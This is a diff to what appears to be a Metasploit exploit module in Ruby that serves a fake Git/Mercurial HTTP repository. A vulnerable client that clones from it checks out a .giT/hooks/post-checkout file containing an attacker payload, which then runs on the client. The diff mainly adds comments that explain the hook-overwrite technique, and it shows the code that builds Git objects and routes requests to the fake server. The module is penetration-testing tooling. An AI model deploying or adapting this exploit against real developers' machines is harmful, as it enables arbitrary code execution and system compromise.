@@ -99,6 +99,10 @@ def initialize(info = {})
99
99
end
100
100
101
101
def setup
102
+ # the exploit requires that we act enough like a real Mercurial HTTP instance,
103
+ # so we keep a mapping of all of the files and the corresponding data we'll
104
+ # send back along with a trigger file that signifies that the git/mercurial
105
+ # client has fetched the malicious content.
102
106
@repo_data = {
103
107
git : { files : { } , trigger : nil } ,
104
108
mercurial : { files : { } , trigger : nil }
@@ -107,6 +111,7 @@ def setup
107
111
unless datastore [ 'GIT' ] || datastore [ 'MERCURIAL' ]
108
112
fail_with ( Exploit ::Failure ::BadConfig , 'Must specify at least one GIT and/or MERCURIAL' )
109
113
end
114
+
110
115
setup_git
111
116
setup_mercurial
112
117
@@ -116,7 +121,6 @@ def setup
116
121
def setup_git
117
122
return unless datastore [ 'GIT' ]
118
123
# URI must start with a /
119
- puts "FOOO #{ git_uri } "
120
124
unless git_uri && git_uri =~ /^\/ /
121
125
fail_with ( Exploit ::Failure ::BadConfig , 'GIT_URI must start with a /' )
122
126
end
@@ -125,16 +129,22 @@ def setup_git
125
129
fail_with ( Exploit ::Failure ::BadConfig , 'GIT_HOOK must not be blank' )
126
130
end
127
131
132
+ # In .git/hooks/ directory, specially named files are shell scripts that
133
+ # are executed when particular events occur. For example, if
134
+ # .git/hooks/post-checkout was an executable shell script, a git client
135
+ # would execute that file every time anything is checked out. There are
136
+ # various other files that can be used to achieve similar goals but related
137
+ # to committing, updating, etc.
138
+ #
139
+ # This vulnerability allows a specially crafted file to bypass Git's
140
+ # blacklist and overwrite the sensitive .git/hooks/ files which can allow
141
+ # arbitrary code execution if a vulnerable Git client can be convinced to
142
+ # interact with a malicious Git repository.
143
+ #
128
144
# This builds a fake git repository using the knowledge from:
129
- # http://schacon.github.io/gitbook/7_how_git_stores_objects.html
130
- # http://schacon.github.io/gitbook/7_browsing_git_objects.html
131
145
#
132
- # It creates a .giT/hooks/post-checkout file that contains a command to
133
- # execute. Because the full path of this file will be considered identical
134
- # on case-insensitive filesystems and will be use in place of
135
- # .git/hooks/post-checkout and will subsequently execute commands of our
136
- # choosing upon cloning
137
- # build the hook file blob
146
+ # http://schacon.github.io/gitbook/7_how_git_stores_objects.html
147
+ # http://schacon.github.io/gitbook/7_browsing_git_objects.html
138
148
case target . name
139
149
when 'Automatic'
140
150
full_cmd = "#!/bin/sh\n #{ payload . encoded } \n "
@@ -216,17 +226,20 @@ def setup_mercurial
216
226
fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
217
227
@repo_data [ :mercurial ] [ :files ] [ '?cmd=heads' ] = "#{ fake_sha1 } \n "
218
228
# TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
219
- @repo_data [ :mercurial ] [ :files ] [ "?cmd=getbundle&common=0000000000000000000000000000000000000000 &heads=#{ fake_sha1 } " ] = Zlib ::Deflate . deflate ( "HG10UNfoofoofoo" )
229
+ @repo_data [ :mercurial ] [ :files ] [ "?cmd=getbundle&common=#{ '0' * 40 } &heads=#{ fake_sha1 } " ] = Zlib ::Deflate . deflate ( "HG10UNfoofoofoo" )
220
230
221
231
# TODO: finish building the fake repository
222
232
end
223
233
234
+ # Build's a Git object
224
235
def build_object ( type , content )
236
+ # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
225
237
header = "#{ type } #{ content . size } \0 "
226
238
store = header + content
227
239
[ Digest ::SHA1 . hexdigest ( store ) , Zlib ::Deflate . deflate ( store ) ]
228
240
end
229
241
242
+ # Returns the Git object path name that a file with the provided SHA1 will reside in
230
243
def get_path ( sha1 )
231
244
sha1 [ 0 ...2 ] + '/' + sha1 [ 2 ..40 ]
232
245
end
@@ -247,6 +260,7 @@ def primer
247
260
end
248
261
end
249
262
263
+ # handles routing any request to the mock git, mercurial or simple HTML as necessary
250
264
def on_request_uri ( cli , req )
251
265
# if the URI is one of our repositories and the user-agent is that of git/mercurial
252
266
# send back the appropriate data, otherwise just show the HTML version
@@ -263,6 +277,7 @@ def on_request_uri(cli, req)
263
277
do_html ( cli , req )
264
278
end
265
279
280
+ # simulates a Git HTTP server
266
281
def do_git ( cli , req )
267
282
# determine if the requested file is something we know how to serve from our
268
283
# fake repository and send it if so
@@ -283,6 +298,8 @@ def do_git(cli, req)
283
298
end
284
299
end
285
300
301
+ # simulates an HTTP server with simple HTML content that lists the fake
302
+ # repositories available for cloning
286
303
def do_html ( cli , _req )
287
304
resp = create_response
288
305
resp . body = <<HTML
@@ -315,6 +332,7 @@ def do_html(cli, _req)
315
332
cli . send_response ( resp )
316
333
end
317
334
335
+ # simulates a Mercurial HTTP server
318
336
def do_mercurial ( cli , req )
319
337
# determine if the requested file is something we know how to serve from our
320
338
# fake repository and send it if so
0 commit comments